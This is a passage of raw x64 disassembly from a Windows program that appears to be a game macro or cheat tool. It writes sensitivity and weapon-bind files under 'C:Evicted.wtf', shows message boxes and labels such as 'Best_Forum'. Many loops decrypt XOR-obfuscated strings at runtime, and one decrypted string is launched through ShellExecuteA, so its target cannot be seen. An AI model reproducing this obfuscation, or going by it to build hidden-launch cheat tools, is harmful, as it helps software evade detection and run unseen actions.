movd dword [rcx - 4], xmm2
cmp r8d, 0x20
jl 0x140081170
cmp r8d, 0x23
jge 0x1400812b1
movsxd r9, r8d
add r9, r10
nop
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x23
jl 0x140081280
mov r9d, 0x30
lea r8, str.INFO
mov rdx, r10
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
jmp 0x140081701
lea rdx, [rbp + 0x2530]
mov byte [rbp + 0x5c], 0
lea rcx, [rbp + 0x5c]
call fcn.1400889a0
mov r10, rax
cmp byte [rax + 0x23], 0
je 0x140081481
mov r8d, ebx
cmp esi, 2
jl 0x140081449
movdqa xmm0, xmmword [str.1111111111111111]
mov eax, 4
movdqa xmm5, xmmword [0x1400a2240]
mov rcx, r10
movdqa xmm4, xmmword [0x1400a3220]
movdqa xmm7, xmmword [0x1400a2260]
movd xmm6, eax
mov eax, 0x1f
movdqa xmmword [rbp + 0xd20], xmm0
mov edx, dword [rbp + 0xd20]
movd xmm8, eax
nop
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x20
jl 0x140081340
cmp r8d, 0x24
jge 0x140081481
movsxd r9, r8d
add r9, r10
nop
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x24
jl 0x140081450
mov r9d, 0x40
lea r8, str.INFO
mov rdx, r10
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov r9d, 0x40
lea rdx, str.C:Evicted.wtf_sensivity_1.txt
lea rcx, [0x1400b4cb0]
lea r8d, [r9 - 0x3e]
call fcn.14008ab10
mov r9d, 0x40
lea rdx, str.C:Evicted.wtf_adssensivity_1.txt
lea rcx, [0x1400b1410]
lea r8d, [r9 - 0x3e]
call fcn.14008ab10
mov r9d, 0x40
lea rdx, [0x14009e870]
lea rcx, [0x1400b07f0]
lea r8d, [r9 - 0x3e]
call fcn.14008ab10
lea rdx, [0x1400900fa]
lea rcx, [0x1400b4cb0]
call fcn.14008b6f0
mov rcx, rax
lea rdx, [0x140056180]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov rcx, rax
lea rdx, [0x1400900fa]
call fcn.14008b6f0
mov rcx, rax
lea rdx, [0x140094388]
call fcn.14008b6f0
lea rdx, [0x1400900fa]
lea rcx, [0x1400b1410]
call fcn.14008b6f0
mov rcx, rax
lea rdx, [0x140056180]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov rcx, rax
lea rdx, [0x1400900fa]
call fcn.14008b6f0
mov rcx, rax
lea rdx, [0x140094388]
call fcn.14008b6f0
lea rdx, [0x1400900fa]
lea rcx, [0x1400b07f0]
call fcn.14008b6f0
mov rcx, rax
lea rdx, [0x140056180]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov rcx, rax
lea rdx, [0x1400900fa]
call fcn.14008b6f0
mov rcx, rax
lea rdx, [0x140094388]
call fcn.14008b6f0
lea rcx, [0x1400b4cb0]
call fcn.14008aad0
lea rcx, [0x1400b1410]
call fcn.14008aad0
lea rcx, [0x1400b07f0]
call fcn.14008aad0
mov dword [0x1400ae40c], 0x5a
mov dword [0x1400ae278], 0x3f800000
mov dword [0x1400ae270], 0x3f000000
mov dword [0x1400b4ca8], 0x60
mov dword [str.astd], 0x61
mov dword [0x1400ae280], 0x62
mov dword [0x1400ae26c], 0x63
mov dword [0x1400ae2dc], 0x64
mov dword [0x1400ae27c], 0x65
mov dword [0x1400ae400], 0x66
mov dword [0x1400ae3fc], 0x68
mov dword [0x1400ae284], 0x71
mov dword [0x1400ae23c], 0x72
mov dword [0x1400ae2d4], 0x73
mov dword [0x1400ae2d8], 0x74
mov dword [0x1400ae388], 0x75
mov dword [0x1400b3cbc], ebx
mov dword [0x1400b4428], ebx
mov dword [0x1400ae274], 0x3f800000
mov r9d, 0x40
mov dword [0x1400ae404], 0x3f800000
lea rdx, str.C:Evicted.wtf_akbind.txt
lea rcx, [0x1400b2ef0]
lea r8d, [r9 - 0x3e]
call fcn.14008ab10
lea rdx, [0x1400900fa]
lea rcx, [0x1400b2ef0]
call fcn.14008b6f0
mov rcx, rax
lea rdx, [0x140056180]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov rcx, rax
lea rdx, [0x1400900fa]
call fcn.14008b6f0
mov rcx, rax
lea rdx, [0x140094388]
call fcn.14008b6f0
lea rcx, [0x1400b2ef0]
call fcn.14008aad0
movaps xmm1, xmm12
movaps xmm0, xmm13
call fcn.1400151e0
lea rdx, [rbp + 0x660]
mov byte [rbp + 0x5d], 0
lea rcx, [rbp + 0x5d]
call fcn.140088a00
mov rbx, rax
movzx eax, byte [rax + 9]
test al, al
je 0x140081755
xor byte [rbx], 0x31
xor byte [rbx + 1], 0x32
xor byte [rbx + 2], 0x33
xor byte [rbx + 3], 0x34
xor byte [rbx + 4], 0x35
xor byte [rbx + 5], 0x36
xor byte [rbx + 6], 0x37
xor byte [rbx + 7], 0x38
xor byte [rbx + 8], 0x39
xor al, 0x3a
mov byte [rbx + 9], al
movaps xmm2, xmm9
lea rcx, [rbp + 0x520]
movaps xmm1, xmm9
call fcn.140002fe0
mov rdx, rax
mov rcx, rbx
call fcn.140041040
test al, al
je 0x140081990
lea rdx, [rbp + 0x2328]
mov byte [rbp + 0x5e], 0
lea rcx, [rbp + 0x5e]
mov byte [rbp + 0x5f], 0
call fcn.140088a20
mov rbx, rax
cmp byte [rax + 0x22], 0
je 0x140081941
xor eax, eax
mov r8d, eax
cmp esi, 2
jl 0x140081909
movdqa xmm0, xmmword [str.1111111111111111]
mov eax, 4
movdqa xmm5, xmmword [0x1400a2240]
mov rcx, rbx
movdqa xmm4, xmmword [0x1400a3220]
movdqa xmm7, xmmword [0x1400a2260]
movd xmm6, eax
mov eax, 0x1f
movdqa xmmword [rbp + 0xd20], xmm0
mov edx, dword [rbp + 0xd20]
movd xmm8, eax
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x20
jl 0x140081800
cmp r8d, 0x23
jge 0x140081941
movsxd r9, r8d
add r9, rbx
nop
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x23
jl 0x140081910
lea rdx, [rbp + 0x178]
lea rcx, [rbp + 0x5f]
call fcn.1400883d0
movzx ecx, byte [rax + 4]
test cl, cl
je 0x14008196e
xor byte [rax], 0x31
xor byte [rax + 1], 0x32
xor byte [rax + 2], 0x33
xor byte [rax + 3], 0x34
xor cl, 0x35
mov byte [rax + 4], cl
mov dword [rsp + 0x28], 1
xor r9d, r9d
mov r8, rbx
mov qword [rsp + 0x20], 0
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
cmp byte [0x1400aeff4], 1
jne 0x1400819d9
xor ecx, ecx
call fcn.140007910
test al, al
je 0x1400819b0
lea rcx, str.Best_Forum
call fcn.1400161e0
cmp byte [0x1400aeff4], 1
jne 0x1400819d9
cmp byte [0x1400aef77], 1
jne 0x1400819d9
xor ecx, ecx
call fcn.140007910
test al, al
je 0x1400819d9
lea rcx, str.____
call fcn.1400161e0
cmp byte [0x1400ae053], 0
je 0x140081c00
xor r9d, r9d
mov byte [rbp + 0x60], 0
xor edx, edx
mov dword [rsp + 0x20], 0xff
mov r8d, 0xff
lea rcx, [rbp + 0xc90]
call fcn.14003fa20
mov rcx, rax
lea rdx, [rbp + 0xca0]
call fcn.14002a680
lea rdx, [rbp + 0x1908]
lea rcx, [rbp + 0x60]
call fcn.140088a50
mov r10, rax
cmp byte [rax + 0x17], 0
je 0x140081bd3
xor eax, eax
mov r8d, eax
cmp esi, 2
jl 0x140081b93
movdqa xmm0, xmmword [str.1111111111111111]
mov edx, eax
movdqa xmm5, xmmword [0x1400a2240]
mov eax, 4
movdqa xmm4, xmmword [0x1400a3220]
mov rcx, r10
movdqa xmm7, xmmword [0x1400a2260]
movdqa xmmword [rbp + 0xd20], xmm0
mov r8d, dword [rbp + 0xd20]
movd xmm6, eax
mov eax, 0x1f
movd xmm8, eax
nop word [rax + rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add edx, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, r8d
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp edx, 0x18
jl 0x140081a90
jmp 0x140081bd3
mov r9, r10
nop word [rax + rax]
mov eax, 0x2f684bdb
lea r9, [r9 + 1]
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x18
jl 0x140081ba0
mov rdx, r10
lea rcx, [rbp + 0xca0]
call fcn.1400403e0
cmp byte [0x1400ae053], 1
jne 0x140081c00
cmp byte [0x1400aef77], 1
jne 0x140081c00
mov byte [0x1400aef77], 0
jmp 0x140081e00
cmp byte [0x1400aef77], 0
je 0x140081e00
xor r9d, r9d
mov byte [rbp + 0x61], 0
xor edx, edx
mov dword [rsp + 0x20], 0xff
mov r8d, 0xff
lea rcx, [rbp + 0xcb0]
call fcn.14003fa20
mov rcx, rax
lea rdx, [rbp + 0xcc0]
call fcn.14002a680
lea rdx, [rbp + 0x2dc0]
lea rcx, [rbp + 0x61]
call fcn.140088a70
mov r10, rax
cmp byte [rax + 0x33], 0
je 0x140081df1
xor eax, eax
mov r8d, eax
cmp esi, 2
jl 0x140081db9
movdqa xmm0, xmmword [str.1111111111111111]
mov eax, 4
movdqa xmm5, xmmword [0x1400a2240]
mov rcx, r10
movdqa xmm4, xmmword [0x1400a3220]
movdqa xmm7, xmmword [0x1400a2260]
movd xmm6, eax
mov eax, 0x1f
movdqa xmmword [rbp + 0xd20], xmm0
mov edx, dword [rbp + 0xd20]
movd xmm8, eax
nop
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x30
jl 0x140081cb0
cmp r8d, 0x34
jge 0x140081df1
movsxd r9, r8d
add r9, r10
nop
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x34
jl 0x140081dc0
mov rdx, r10
lea rcx, [rbp + 0xcc0]
call fcn.1400403e0
call fcn.14000d0d0
mov eax, dword [0x1400ae3f8]
cmp eax, 4
jne 0x1400861af
call fcn.14005fd40
call fcn.140043100
lea rdx, [rbp + 0x528]
mov byte [rbp + 0x62], 0
lea rcx, [rbp + 0x62]
call fcn.140088550
mov rbx, rax
cmp byte [rax + 7], 0
je 0x140081f93
xor eax, eax
mov r8d, eax
cmp esi, 2
jl 0x140081f55
movdqa xmm2, xmmword [0x1400a2240]
mov eax, 4
movdqa xmm4, xmmword [0x1400a3220]
movdqa xmm1, xmm2
movdqa xmm3, xmmword [0x1400a2250]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
movd xmm5, eax
mov eax, 0x1f
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movd xmm6, eax
mov eax, dword [str.1111111111111111]
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400a2260]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [rbx]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rbx], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400a2260]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, eax
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rbx + 4]
pxor xmm2, xmm0
movd dword [rbx + 4], xmm2
jmp 0x140081f93
mov r9, rbx
nop dword [rax + rax]
mov eax, 0x2f684bdb
lea r9, [r9 + 1]
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 8
jl 0x140081f60
movss xmm2, dword [0x1400a2078]
lea rcx, [rbp + 0x530]
movss xmm1, dword [0x1400a2070]
call fcn.140002fe0
mov rdx, rax
xor r9d, r9d
xor r8d, r8d
mov rcx, rbx
call fcn.14000d070
lea rcx, [0x1400900fa]
call fcn.140040350
movss xmm0, dword [0x1400a2030]
movaps xmm1, xmm12
call fcn.1400151e0
cmp byte [0x1400ae053], 0
je 0x1400821c2
mov edx, 0x23
mov byte [rbp + 0x63], 0
lea rcx, [rbp + 0xcd0]
mov dword [rsp + 0x20], 0xff
lea r9d, [rdx + 0x4a]
lea r8d, [r9 + 0x3b]
call fcn.14003fa20
mov rcx, rax
lea rdx, [rbp + 0xce0]
call fcn.14002a680
lea rdx, [rbp + 0x538]
lea rcx, [rbp + 0x63]
call fcn.140088aa0
mov r10, rax
cmp byte [rax + 7], 0
je 0x140082193
xor eax, eax
mov r8d, eax
cmp esi, 2
jl 0x140082155
movdqa xmm2, xmmword [0x1400a2240]
mov eax, 4
movdqa xmm4, xmmword [0x1400a3220]
movdqa xmm1, xmm2
movdqa xmm3, xmmword [0x1400a2250]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
movd xmm5, eax
mov eax, 0x1f
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movd xmm6, eax
mov eax, dword [str.1111111111111111]
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400a2260]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [r10], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400a2260]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, eax
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [r10 + 4]
pxor xmm2, xmm0
movd dword [r10 + 4], xmm2
jmp 0x140082193
mov r9, r10
nop dword [rax + rax]
mov eax, 0x2f684bdb
lea r9, [r9 + 1]
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 8
jl 0x140082160
mov rdx, r10
lea rcx, [rbp + 0xce0]
call fcn.1400403e0
cmp byte [0x1400ae053], 1
jne 0x1400821c2
movzx eax, byte [0x1400aef77]
cmp al, 1
jne 0x1400821c9
mov byte [0x1400aef77], 0
jmp 0x140082390
movzx eax, byte [0x1400aef77]
test al, al
je 0x140082390
mov edx, 0x23
mov byte [rbp + 0x64], 0
lea rcx, [rbp + 0xcf0]
mov dword [rsp + 0x20], 0xff
lea r9d, [rdx + 0x4a]
lea r8d, [r9 + 0x3b]
call fcn.14003fa20
mov rcx, rax
lea rdx, [rbp + 0xd00]
call fcn.14002a680
lea rdx, [rbp + 0x8b0]
lea rcx, [rbp + 0x64]
call fcn.140088ab0
mov r10, rax
cmp byte [rax + 0xc], 0
je 0x140082381
xor eax, eax
mov r8d, eax
cmp esi, 2
jl 0x140082340
movdqa xmm2, xmmword [0x1400a2240]
mov eax, 4
movdqa xmm4, xmmword [0x1400a3220]
movdqa xmm1, xmm2
movdqa xmm3, xmmword [0x1400a2250]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
mov r8d, 8
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
movd xmm5, eax
mov eax, 0x1f
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movd xmm6, eax
mov eax, dword [str.1111111111111111]
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400a2260]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [r10], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400a2260]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, eax
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [r10 + 4]
pxor xmm2, xmm0
movd dword [r10 + 4], xmm2
mov r9d, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0xd
jl 0x140082350
mov rdx, r10
lea rcx, [rbp + 0xd00]
call fcn.1400403e0
cmp byte [0x1400aeff4], 1
jne 0x1400823b0
xor ecx, ecx
call fcn.140007910
test al, al
je 0x1400823b0
lea rcx, str.Weapons_Bind
call fcn.1400161e0
lea rcx, [0x1400900fa]
call fcn.140040350
movss xmm6, dword [0x1400a201c]
movaps xmm1, xmm12
movaps xmm0, xmm6
call fcn.1400151e0
cmp byte [0x1400ae053], 0
je 0x14008242f
lea rdx, [rbp + 0x180]
mov byte [rbp + 0x65], 0
lea rcx, [rbp + 0x65]
call fcn.140088ae0
movzx ecx, byte [rax + 4]
test cl, cl
je 0x14008240a
xor byte [rax], 0x31
xor byte [rax + 1], 0x32
xor byte [rax + 2], 0x33
xor byte [rax + 3], 0x34
xor cl, 0x35
mov byte [rax + 4], cl
mov rcx, rax
call fcn.140040350
cmp byte [0x1400ae053], 1
jne 0x14008242f
movzx eax, byte [0x1400aef77]
cmp al, 1
jne 0x140082436
mov byte [0x1400aef77], 0
jmp 0x14008248b
movzx eax, byte [0x1400aef77]
test al, al
je 0x14008248b
lea rdx, [rbp + 0x6e0]
mov byte [rbp + 0x66], 0
lea rcx, [rbp + 0x66]
call fcn.140088b00
movzx ecx, byte [rax + 0xa]
test cl, cl
je 0x140082483
xor byte [rax], 0x31
xor byte [rax + 1], 0x32
xor byte [rax + 2], 0x33
xor byte [rax + 3], 0x34
xor byte [rax + 4], 0x35
xor byte [rax + 5], 0x36
xor byte [rax + 6], 0x37
xor byte [rax + 7], 0x38
xor byte [rax + 8], 0x39
xor byte [rax + 9], 0x3a
xor cl, 0x3b
mov byte [rax + 0xa], cl
mov rcx, rax
call fcn.140040350
movss xmm0, dword [0x1400a2064]
movaps xmm1, xmm12
call fcn.1400151e0
cmp byte [0x1400ae053], 0
je 0x1400824ff
lea rdx, [rbp + 0x1e0]
mov byte [rbp + 0x67], 0
lea rcx, [rbp + 0x67]
call fcn.140088b30
movzx ecx, byte [rax + 5]
test cl, cl
je 0x1400824da
xor byte [rax], 0x31
xor byte [rax + 1], 0x32
xor byte [rax + 2], 0x33
xor byte [rax + 3], 0x34
xor byte [rax + 4], 0x35
xor cl, 0x36
mov byte [rax + 5], cl
mov rcx, rax
call fcn.140040350
cmp byte [0x1400ae053], 1
jne 0x1400824ff
movzx eax, byte [0x1400aef77]
cmp al, 1
jne 0x140082506
mov byte [0x1400aef77], 0
jmp 0x140082553
movzx eax, byte [0x1400aef77]
test al, al
je 0x140082553
lea rdx, [rbp + 0x600]
mov byte [rbp + 0x68], 0
lea rcx, [rbp + 0x68]
call fcn.140088b50
movzx ecx, byte [rax + 8]
test cl, cl
je 0x14008254b
xor byte [rax], 0x31
xor byte [rax + 1], 0x32
xor byte [rax + 2], 0x33
xor byte [rax + 3], 0x34
xor byte [rax + 4], 0x35
xor byte [rax + 5], 0x36
xor byte [rax + 6], 0x37
xor byte [rax + 7], 0x38
xor cl, 0x39
mov byte [rax + 8], cl
mov rcx, rax
call fcn.140040350
lea rcx, [0x1400900fa]
call fcn.140040350
movaps xmm1, xmm12
movaps xmm0, xmm11
call fcn.1400151e0
lea rdx, [rbp + 0xe0]
mov byte [rbp + 0x69], 0
lea rcx, [rbp + 0x69]
call fcn.140088b70
mov rbx, rax
